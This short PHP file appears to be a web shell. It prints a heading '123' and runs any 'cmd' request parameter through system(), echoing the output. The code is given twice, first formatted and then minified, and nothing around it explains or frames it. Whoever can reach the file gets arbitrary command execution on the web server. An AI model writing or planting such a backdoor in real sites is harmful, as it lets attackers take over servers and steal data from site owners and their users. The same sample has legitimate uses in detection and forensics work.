<?php
echo "<h1>123</h1>";
if (isset($_REQUEST['cmd'])) {
echo "<pre>";
$cmd = $_REQUEST['cmd'];
system($cmd);
echo "<pre>";
}
__halt_compiler(); ?>
<?php echo '<h1>123</h1>'; if(isset($_REQUEST['cmd'])){echo '<pre>'; $cmd=$_REQUEST['cmd']; system($cmd); echo '<pre>'; } __halt_compiler(); ?>